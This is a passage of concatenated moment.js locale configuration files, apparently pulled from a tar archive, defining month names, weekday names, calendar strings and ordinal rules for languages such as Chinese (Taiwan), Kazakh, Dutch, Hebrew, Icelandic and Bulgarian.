'di_lu_ma_me_je_ve_sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Aujourd’hui à] LT', nextDay : '[Demain à] LT', nextWeek : 'dddd [à] LT', lastDay : '[Hier à] LT', lastWeek : 'dddd [dernier à] LT', sameElse : 'L' }, relativeTime : { future : 'dans %s', past : 'il y a %s', s : 'quelques secondes', ss : '%d secondes', m : 'une minute', mm : '%d minutes', h : 'une heure', hh : '%d heures', d : 'un jour', dd : '%d jours', M : 'un mois', MM : '%d mois', y : 'un an', yy : '%d ans' }, dayOfMonthOrdinalParse: /\d{1,2}(er|e)/, ordinal : function (number, period) { switch (period) { // Words with masculine grammatical gender: mois, trimestre, jour default: case 'M': case 'Q': case 'D': case 'DDD': case 'd': return number + (number === 1 ? 'er' : 'e'); // Words with feminine grammatical gender: semaine case 'w': case 'W': return number + (number === 1 ? 're' : 'e'); } }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/zh-tw.js000064400000006064151677412270007434 0ustar00//! moment.js locale configuration //! locale : Chinese (Taiwan) [zh-tw] //! author : Ben : https://github.com/ben-lin //! author : Chris Lam : https://github.com/hehachris import moment from '../moment'; export default moment.defineLocale('zh-tw', { months : '一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月'.split('_'), monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'), weekdays : '星期日_星期一_星期二_星期三_星期四_星期五_星期六'.split('_'), weekdaysShort : '週日_週一_週二_週三_週四_週五_週六'.split('_'), weekdaysMin : '日_一_二_三_四_五_六'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY/MM/DD', LL : 'YYYY年M月D日', LLL : 'YYYY年M月D日 HH:mm', LLLL : 'YYYY年M月D日dddd HH:mm', l : 'YYYY/M/D', ll : 'YYYY年M月D日', lll : 'YYYY年M月D日 HH:mm', llll : 'YYYY年M月D日dddd HH:mm' }, meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === '凌晨' || meridiem === '早上' || meridiem === '上午') { return hour; } else if (meridiem === '中午') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === '下午' || meridiem === '晚上') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { var hm = hour * 100 + minute; if (hm < 600) { return '凌晨'; } else if (hm < 900) { return '早上'; } else if (hm < 1130) { return '上午'; } else if (hm < 1230) { return '中午'; } else if (hm < 1800) { return '下午'; } else { return '晚上'; } }, calendar : { sameDay : '[今天] LT', nextDay : '[明天] LT', nextWeek : '[下]dddd LT', lastDay : '[昨天] LT', lastWeek : '[上]dddd LT', sameElse : 'L' }, dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/, ordinal : function (number, period) { switch (period) { case 'd' : case 'D' : case 'DDD' : return number + '日'; case 'M' : return number + '月'; case 'w' : case 'W' : return number + '週'; default : return number; } }, relativeTime : { future : '%s內', past : '%s前', s : '幾秒', ss : '%d 秒', m : '1 分鐘', mm : '%d 分鐘', h : '1 小時', hh : '%d 小時', d : '1 天', dd : '%d 天', M : '1 個月', MM : '%d 個月', y : '1 年', yy : '%d 年' } }); locale/kk.js000064400000005022151677412270006761 0ustar00//! moment.js locale configuration //! locale : Kazakh [kk] //! authors : Nurlan Rakhimzhanov : https://github.com/nurlan import moment from '../moment'; var suffixes = { 0: '-ші', 1: '-ші', 2: '-ші', 3: '-ші', 4: '-ші', 5: '-ші', 6: '-шы', 7: '-ші', 8: '-ші', 9: '-шы', 10: '-шы', 20: '-шы', 30: '-шы', 40: '-шы', 50: '-ші', 60: '-шы', 70: '-ші', 80: '-ші', 90: '-шы', 100: '-ші' }; export default moment.defineLocale('kk', { months : 'қаңтар_ақпан_наурыз_сәуір_мамыр_маусым_шілде_тамыз_қыркүйек_қазан_қараша_желтоқсан'.split('_'), monthsShort : 'қаң_ақп_нау_сәу_мам_мау_шіл_там_қыр_қаз_қар_жел'.split('_'), weekdays : 'жексенбі_дүйсенбі_сейсенбі_сәрсенбі_бейсенбі_жұма_сенбі'.split('_'), weekdaysShort : 'жек_дүй_сей_сәр_бей_жұм_сен'.split('_'), weekdaysMin : 'жк_дй_сй_ср_бй_жм_сн'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Бүгін сағат] LT', nextDay : '[Ертең сағат] LT', nextWeek : 'dddd [сағат] LT', lastDay : '[Кеше сағат] LT', lastWeek : '[Өткен аптаның] dddd [сағат] LT', sameElse : 'L' }, relativeTime : { future : '%s ішінде', past : '%s бұрын', s : 'бірнеше секунд', ss : '%d секунд', m : 'бір минут', mm : '%d минут', h : 'бір сағат', hh : '%d сағат', d : 'бір күн', dd : '%d күн', M : 'бір ай', MM : '%d ай', y : 'бір жыл', yy : '%d жыл' }, dayOfMonthOrdinalParse: /\d{1,2}-(ші|шы)/, ordinal : function (number) { var a = number % 10, b = number >= 100 ? 100 : null; return number + (suffixes[number] || suffixes[a] || suffixes[b]); }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/nl.js000064400000006002151677412270006764 0ustar00//! moment.js locale configuration //! locale : Dutch [nl] //! author : Joris Röling : https://github.com/jorisroling //! author : Jacob Middag : https://github.com/middagj import moment from '../moment'; var monthsShortWithDots = 'jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.'.split('_'), monthsShortWithoutDots = 'jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec'.split('_'); var monthsParse = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i]; var monthsRegex = /^(januari|februari|maart|april|mei|april|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i; export default moment.defineLocale('nl', { months : 'januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december'.split('_'), monthsShort : function (m, format) { if (!m) { return monthsShortWithDots; } else if (/-MMM-/.test(format)) { return monthsShortWithoutDots[m.month()]; } else { return monthsShortWithDots[m.month()]; } }, monthsRegex: monthsRegex, monthsShortRegex: monthsRegex, monthsStrictRegex: /^(januari|februari|maart|mei|ju[nl]i|april|augustus|september|oktober|november|december)/i, monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i, monthsParse : monthsParse, longMonthsParse : monthsParse, shortMonthsParse : monthsParse, weekdays : 'zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag'.split('_'), weekdaysShort : 'zo._ma._di._wo._do._vr._za.'.split('_'), weekdaysMin : 'zo_ma_di_wo_do_vr_za'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD-MM-YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[vandaag om] LT', nextDay: '[morgen om] LT', nextWeek: 'dddd [om] LT', lastDay: '[gisteren om] LT', lastWeek: '[afgelopen] dddd [om] LT', sameElse: 'L' }, relativeTime : { future : 'over %s', past : '%s geleden', s : 'een paar seconden', ss : '%d seconden', m : 'één minuut', mm : '%d minuten', h : 'één uur', hh : '%d uur', d : 'één dag', dd : '%d dagen', M : 'één maand', MM : '%d maanden', y : 'één jaar', yy : '%d jaar' }, dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, ordinal : function (number) { return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de'); }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/eu.js000064400000003705151677412270006773 0ustar00//! moment.js locale configuration //! locale : Basque [eu] //! author : Eneko Illarramendi : https://github.com/eillarra import moment from '../moment'; export default moment.defineLocale('eu', { months : 'urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua'.split('_'), monthsShort : 'urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.'.split('_'), monthsParseExact : true, weekdays : 'igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata'.split('_'), weekdaysShort : 'ig._al._ar._az._og._ol._lr.'.split('_'), weekdaysMin : 'ig_al_ar_az_og_ol_lr'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY-MM-DD', LL : 'YYYY[ko] MMMM[ren] D[a]', LLL : 'YYYY[ko] MMMM[ren] D[a] HH:mm', LLLL : 'dddd, YYYY[ko] MMMM[ren] D[a] HH:mm', l : 'YYYY-M-D', ll : 'YYYY[ko] MMM D[a]', lll : 'YYYY[ko] MMM D[a] HH:mm', llll : 'ddd, YYYY[ko] MMM D[a] HH:mm' }, calendar : { sameDay : '[gaur] LT[etan]', nextDay : '[bihar] LT[etan]', nextWeek : 'dddd LT[etan]', lastDay : '[atzo] LT[etan]', lastWeek : '[aurreko] dddd LT[etan]', sameElse : 'L' }, relativeTime : { future : '%s barru', past : 'duela %s', s : 'segundo batzuk', ss : '%d segundo', m : 'minutu bat', mm : '%d minutu', h : 'ordu bat', hh : '%d ordu', d : 'egun bat', dd : '%d egun', M : 'hilabete bat', MM : '%d hilabete', y : 'urte bat', yy : '%d urte' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/cy.js000064400000004762151677412270007001 0ustar00//! moment.js locale configuration //! locale : Welsh [cy] //! author : Robert Allen : https://github.com/robgallen //! author : https://github.com/ryangreaves import moment from '../moment'; export default moment.defineLocale('cy', { months: 'Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr'.split('_'), monthsShort: 'Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag'.split('_'), weekdays: 'Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn'.split('_'), weekdaysShort: 'Sul_Llun_Maw_Mer_Iau_Gwe_Sad'.split('_'), weekdaysMin: 'Su_Ll_Ma_Me_Ia_Gw_Sa'.split('_'), weekdaysParseExact : true, // time formats are the same as en-gb longDateFormat: { LT: 'HH:mm', LTS : 'HH:mm:ss', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY HH:mm', LLLL: 'dddd, D MMMM YYYY HH:mm' }, calendar: { sameDay: '[Heddiw am] LT', nextDay: '[Yfory am] LT', nextWeek: 'dddd [am] LT', lastDay: '[Ddoe am] LT', lastWeek: 'dddd [diwethaf am] LT', sameElse: 'L' }, relativeTime: { future: 'mewn %s', past: '%s yn ôl', s: 'ychydig eiliadau', ss: '%d eiliad', m: 'munud', mm: '%d munud', h: 'awr', hh: '%d awr', d: 'diwrnod', dd: '%d diwrnod', M: 'mis', MM: '%d mis', y: 'blwyddyn', yy: '%d flynedd' }, dayOfMonthOrdinalParse: /\d{1,2}(fed|ain|af|il|ydd|ed|eg)/, // traditional ordinal numbers above 31 are not commonly used in colloquial Welsh ordinal: function (number) { var b = number, output = '', lookup = [ '', 'af', 'il', 'ydd', 'ydd', 'ed', 'ed', 'ed', 'fed', 'fed', 'fed', // 1af to 10fed 'eg', 'fed', 'eg', 'eg', 'fed', 'eg', 'eg', 'fed', 'eg', 'fed' // 11eg to 20fed ]; if (b > 20) { if (b === 40 || b === 50 || b === 60 || b === 80 || b === 100) { output = 'fed'; // not 30ain, 70ain or 90ain } else { output = 'ain'; } } else if (b > 0) { output = lookup[b]; } return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/he.js000064400000006355151677412270006762 0ustar00//! moment.js locale configuration //! locale : Hebrew [he] //! author : Tomer Cohen : https://github.com/tomer //! author : Moshe Simantov : https://github.com/DevelopmentIL //! author : Tal Ater : https://github.com/TalAter import moment from '../moment'; export default moment.defineLocale('he', { months : 'ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר'.split('_'), monthsShort : 'ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳'.split('_'), weekdays : 'ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת'.split('_'), weekdaysShort : 'א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳'.split('_'), weekdaysMin : 'א_ב_ג_ד_ה_ו_ש'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D [ב]MMMM YYYY', LLL : 'D [ב]MMMM YYYY HH:mm', LLLL : 'dddd, D [ב]MMMM YYYY HH:mm', l : 'D/M/YYYY', ll : 'D MMM YYYY', lll : 'D MMM YYYY HH:mm', llll : 'ddd, D MMM YYYY HH:mm' }, calendar : { sameDay : '[היום ב־]LT', nextDay : '[מחר ב־]LT', nextWeek : 'dddd [בשעה] LT', lastDay : '[אתמול ב־]LT', lastWeek : '[ביום] dddd [האחרון בשעה] LT', sameElse : 'L' }, relativeTime : { future : 'בעוד %s', past : 'לפני %s', s : 'מספר שניות', ss : '%d שניות', m : 'דקה', mm : '%d דקות', h : 'שעה', hh : function (number) { if (number === 2) { return 'שעתיים'; } return number + ' שעות'; }, d : 'יום', dd : function (number) { if (number === 2) { return 'יומיים'; } return number + ' ימים'; }, M : 'חודש', MM : function (number) { if (number === 2) { return 'חודשיים'; } return number + ' חודשים'; }, y : 'שנה', yy : function (number) { if (number === 2) { return 'שנתיים'; } else if (number % 10 === 0 && number !== 10) { return number + ' שנה'; } return number + ' שנים'; } }, meridiemParse: /אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i, isPM : function (input) { return /^(אחה"צ|אחרי הצהריים|בערב)$/.test(input); }, meridiem : function (hour, minute, isLower) { if (hour < 5) { return 'לפנות בוקר'; } else if (hour < 10) { return 'בבוקר'; } else if (hour < 12) { return isLower ? 'לפנה"צ' : 'לפני הצהריים'; } else if (hour < 18) { return isLower ? 'אחה"צ' : 'אחרי הצהריים'; } else { return 'בערב'; } } }); locale/x-pseudo.js000064400000004272151677412270010126 0ustar00//! moment.js locale configuration //! locale : Pseudo [x-pseudo] //! author : Andrew Hood : https://github.com/andrewhood125 import moment from '../moment'; export default moment.defineLocale('x-pseudo', { months : 'J~áñúá~rý_F~ébrú~árý_~Márc~h_Áp~ríl_~Máý_~Júñé~_Júl~ý_Áú~gúst~_Sép~témb~ér_Ó~ctób~ér_Ñ~óvém~bér_~Décé~mbér'.split('_'), monthsShort : 'J~áñ_~Féb_~Már_~Ápr_~Máý_~Júñ_~Júl_~Áúg_~Sép_~Óct_~Ñóv_~Déc'.split('_'), monthsParseExact : true, weekdays : 'S~úñdá~ý_Mó~ñdáý~_Túé~sdáý~_Wéd~ñésd~áý_T~húrs~dáý_~Fríd~áý_S~átúr~dáý'.split('_'), weekdaysShort : 'S~úñ_~Móñ_~Túé_~Wéd_~Thú_~Frí_~Sát'.split('_'), weekdaysMin : 'S~ú_Mó~_Tú_~Wé_T~h_Fr~_Sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[T~ódá~ý át] LT', nextDay : '[T~ómó~rró~w át] LT', nextWeek : 'dddd [át] LT', lastDay : '[Ý~ést~érdá~ý át] LT', lastWeek : '[L~ást] dddd [át] LT', sameElse : 'L' }, relativeTime : { future : 'í~ñ %s', past : '%s á~gó', s : 'á ~féw ~sécó~ñds', ss : '%d s~écóñ~ds', m : 'á ~míñ~úté', mm : '%d m~íñú~tés', h : 'á~ñ hó~úr', hh : '%d h~óúrs', d : 'á ~dáý', dd : '%d d~áýs', M : 'á ~móñ~th', MM : '%d m~óñt~hs', y : 'á ~ýéár', yy : '%d ý~éárs' }, dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ja.js000064400000004703151677412270006753 0ustar00//! moment.js locale configuration //! locale : Japanese [ja] //! author : LI Long : https://github.com/baryon import moment from '../moment'; export default moment.defineLocale('ja', { months : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'), monthsShort : '1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月'.split('_'), weekdays : '日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日'.split('_'), weekdaysShort : '日_月_火_水_木_金_土'.split('_'), weekdaysMin : '日_月_火_水_木_金_土'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY/MM/DD', LL : 'YYYY年M月D日', LLL : 'YYYY年M月D日 HH:mm', LLLL : 'YYYY年M月D日 dddd HH:mm', l : 'YYYY/MM/DD', ll : 'YYYY年M月D日', lll : 'YYYY年M月D日 HH:mm', llll : 'YYYY年M月D日(ddd) HH:mm' }, meridiemParse: /午前|午後/i, isPM : function (input) { return input === '午後'; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return '午前'; } else { return '午後'; } }, calendar : { sameDay : '[今日] LT', nextDay : '[明日] LT', nextWeek : function (now) { if (now.week() < this.week()) { return '[来週]dddd LT'; } else { return 'dddd LT'; } }, lastDay : '[昨日] LT', lastWeek : function (now) { if (this.week() < now.week()) { return '[先週]dddd LT'; } else { return 'dddd LT'; } }, sameElse : 'L' }, dayOfMonthOrdinalParse : /\d{1,2}日/, ordinal : function (number, period) { switch (period) { case 'd': case 'D': case 'DDD': return number + '日'; default: return number; } }, relativeTime : { future : '%s後', past : '%s前', s : '数秒', ss : '%d秒', m : '1分', mm : '%d分', h : '1時間', hh : '%d時間', d : '1日', dd : '%d日', M : '1ヶ月', MM : '%dヶ月', y : '1年', yy : '%d年' } }); locale/fr.js000064400000005000151677412270006757 0ustar00//! moment.js locale configuration //! locale : French [fr] //! author : John Fischer : https://github.com/jfroffice import moment from '../moment'; export default moment.defineLocale('fr', { months : 'janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre'.split('_'), monthsShort : 'janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.'.split('_'), monthsParseExact : true, weekdays : 'dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi'.split('_'), weekdaysShort : 'dim._lun._mar._mer._jeu._ven._sam.'.split('_'), weekdaysMin : 'di_lu_ma_me_je_ve_sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Aujourd’hui à] LT', nextDay : '[Demain à] LT', nextWeek : 'dddd [à] LT', lastDay : '[Hier à] LT', lastWeek : 'dddd [dernier à] LT', sameElse : 'L' }, relativeTime : { future : 'dans %s', past : 'il y a %s', s : 'quelques secondes', ss : '%d secondes', m : 'une minute', mm : '%d minutes', h : 'une heure', hh : '%d heures', d : 'un jour', dd : '%d jours', M : 'un mois', MM : '%d mois', y : 'un an', yy : '%d ans' }, dayOfMonthOrdinalParse: /\d{1,2}(er|)/, ordinal : function (number, period) { switch (period) { // TODO: Return 'e' when day of month > 1. Move this case inside // block for masculine words below. // See https://github.com/moment/moment/issues/3375 case 'D': return number + (number === 1 ? 'er' : ''); // Words with masculine grammatical gender: mois, trimestre, jour default: case 'M': case 'Q': case 'DDD': case 'd': return number + (number === 1 ? 'er' : 'e'); // Words with feminine grammatical gender: semaine case 'w': case 'W': return number + (number === 1 ? 're' : 'e'); } }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/fo.js000064400000003323151677412270006762 0ustar00//! moment.js locale configuration //! locale : Faroese [fo] //! author : Ragnar Johannesen : https://github.com/ragnar123 import moment from '../moment'; export default moment.defineLocale('fo', { months : 'januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember'.split('_'), monthsShort : 'jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des'.split('_'), weekdays : 'sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur'.split('_'), weekdaysShort : 'sun_mán_týs_mik_hós_frí_ley'.split('_'), weekdaysMin : 'su_má_tý_mi_hó_fr_le'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D. MMMM, YYYY HH:mm' }, calendar : { sameDay : '[Í dag kl.] LT', nextDay : '[Í morgin kl.] LT', nextWeek : 'dddd [kl.] LT', lastDay : '[Í gjár kl.] LT', lastWeek : '[síðstu] dddd [kl] LT', sameElse : 'L' }, relativeTime : { future : 'um %s', past : '%s síðani', s : 'fá sekund', ss : '%d sekundir', m : 'ein minutt', mm : '%d minuttir', h : 'ein tími', hh : '%d tímar', d : 'ein dagur', dd : '%d dagar', M : 'ein mánaði', MM : '%d mánaðir', y : 'eitt ár', yy : '%d ár' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/is.js000064400000010355151677412300006766 0ustar00//! moment.js locale configuration //! locale : Icelandic [is] //! author : Hinrik Örn Sigurðsson : https://github.com/hinrik import moment from '../moment'; function plural(n) { if (n % 100 === 11) { return true; } else if (n % 10 === 1) { return false; } return true; } function translate(number, withoutSuffix, key, isFuture) { var result = number + ' '; switch (key) { case 's': return withoutSuffix || isFuture ? 'nokkrar sekúndur' : 'nokkrum sekúndum'; case 'ss': if (plural(number)) { return result + (withoutSuffix || isFuture ? 'sekúndur' : 'sekúndum'); } return result + 'sekúnda'; case 'm': return withoutSuffix ? 'mínúta' : 'mínútu'; case 'mm': if (plural(number)) { return result + (withoutSuffix || isFuture ? 'mínútur' : 'mínútum'); } else if (withoutSuffix) { return result + 'mínúta'; } return result + 'mínútu'; case 'hh': if (plural(number)) { return result + (withoutSuffix || isFuture ? 'klukkustundir' : 'klukkustundum'); } return result + 'klukkustund'; case 'd': if (withoutSuffix) { return 'dagur'; } return isFuture ? 'dag' : 'degi'; case 'dd': if (plural(number)) { if (withoutSuffix) { return result + 'dagar'; } return result + (isFuture ? 'daga' : 'dögum'); } else if (withoutSuffix) { return result + 'dagur'; } return result + (isFuture ? 'dag' : 'degi'); case 'M': if (withoutSuffix) { return 'mánuður'; } return isFuture ? 'mánuð' : 'mánuði'; case 'MM': if (plural(number)) { if (withoutSuffix) { return result + 'mánuðir'; } return result + (isFuture ? 'mánuði' : 'mánuðum'); } else if (withoutSuffix) { return result + 'mánuður'; } return result + (isFuture ? 'mánuð' : 'mánuði'); case 'y': return withoutSuffix || isFuture ? 'ár' : 'ári'; case 'yy': if (plural(number)) { return result + (withoutSuffix || isFuture ? 'ár' : 'árum'); } return result + (withoutSuffix || isFuture ? 'ár' : 'ári'); } } export default moment.defineLocale('is', { months : 'janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember'.split('_'), monthsShort : 'jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des'.split('_'), weekdays : 'sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur'.split('_'), weekdaysShort : 'sun_mán_þri_mið_fim_fös_lau'.split('_'), weekdaysMin : 'Su_Má_Þr_Mi_Fi_Fö_La'.split('_'), longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY [kl.] H:mm', LLLL : 'dddd, D. MMMM YYYY [kl.] H:mm' }, calendar : { sameDay : '[í dag kl.] LT', nextDay : '[á morgun kl.] LT', nextWeek : 'dddd [kl.] LT', lastDay : '[í gær kl.] LT', lastWeek : '[síðasta] dddd [kl.] LT', sameElse : 'L' }, relativeTime : { future : 'eftir %s', past : 'fyrir %s síðan', s : translate, ss : translate, m : translate, mm : translate, h : 'klukkustund', hh : translate, d : translate, dd : translate, M : translate, MM : translate, y : translate, yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/uz.js000064400000003643151677412300007013 0ustar00//! moment.js locale configuration //! locale : Uzbek [uz] //! author : Sardor Muminov : https://github.com/muminoff import moment from '../moment'; export default moment.defineLocale('uz', { months : 'январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр'.split('_'), monthsShort : 'янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек'.split('_'), weekdays : 'Якшанба_Душанба_Сешанба_Чоршанба_Пайшанба_Жума_Шанба'.split('_'), weekdaysShort : 'Якш_Душ_Сеш_Чор_Пай_Жум_Шан'.split('_'), weekdaysMin : 'Як_Ду_Се_Чо_Па_Жу_Ша'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'D MMMM YYYY, dddd HH:mm' }, calendar : { sameDay : '[Бугун соат] LT [да]', nextDay : '[Эртага] LT [да]', nextWeek : 'dddd [куни соат] LT [да]', lastDay : '[Кеча соат] LT [да]', lastWeek : '[Утган] dddd [куни соат] LT [да]', sameElse : 'L' }, relativeTime : { future : 'Якин %s ичида', past : 'Бир неча %s олдин', s : 'фурсат', ss : '%d фурсат', m : 'бир дакика', mm : '%d дакика', h : 'бир соат', hh : '%d соат', d : 'бир кун', dd : '%d кун', M : 'бир ой', MM : '%d ой', y : 'бир йил', yy : '%d йил' }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 4th is the first week of the year. } }); locale/bg.js000064400000005662151677412300006750 0ustar00//! moment.js locale configuration //! locale : Bulgarian [bg] //! author : Krasen Borisov : https://github.com/kraz import moment from '../moment'; export default moment.defineLocale('bg', { months : 'януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември'.split('_'), monthsShort : 'янр_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек'.split('_'), weekdays : 'неделя_понеделник_вторник_сряда_четвъртък_петък_събота'.split('_'), weekdaysShort : 'нед_пон_вто_сря_чет_пет_съб'.split('_'), weekdaysMin : 'нд_пн_вт_ср_чт_пт_сб'.split('_'), longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'D.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY H:mm', LLLL : 'dddd, D MMMM YYYY H:mm' }, calendar : { sameDay : '[Днес в] LT', nextDay : '[Утре в] LT', nextWeek : 'dddd [в] LT', lastDay : '[Вчера в] LT', lastWeek : function () { switch (this.day()) { case 0: case 3: case 6: return '[В изминалата] dddd [в] LT'; case 1: case 2: case 4: case 5: return '[В изминалия] dddd [в] LT'; } }, sameElse : 'L' }, relativeTime : { future : 'след %s', past : 'преди %s', s : 'няколко секунди', ss : '%d секунди', m : 'минута', mm : '%d минути', h : 'час', hh : '%d часа', d : 'ден', dd : '%d дни', M : 'месец', MM : '%d месеца', y : 'година', yy : '%d години' }, dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/, ordinal : function (number) { var lastDigit = number % 10, last2Digits = number % 100; if (number === 0) { return number + '-ев'; } else if (last2Digits === 0) { return number + '-ен'; } else if (last2Digits > 10 && last2Digits < 20) { return number + '-ти'; } else if (lastDigit === 1) { return number + '-ви'; } else if (lastDigit === 2) { return number + '-ри'; } else if (lastDigit === 7 || lastDigit === 8) { return number + '-ми'; } else { return number + '-ти'; } }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/bs.js000064400000011056151677412300006756 0ustar00//! moment.js locale configuration //! locale : Bosnian [bs] //! author : Nedim Cholich : https://github.com/frontyard //! based on (hr) translation by Bojan Marković import moment from '../moment'; function translate(number, withoutSuffix, key) { var result = number + ' '; switch (key) { case 'ss': if (number === 1) { result += 'sekunda'; } else if (number === 2 || number === 3 || number === 4) { result += 'sekunde'; } else { result += 'sekundi'; } return result; case 'm': return 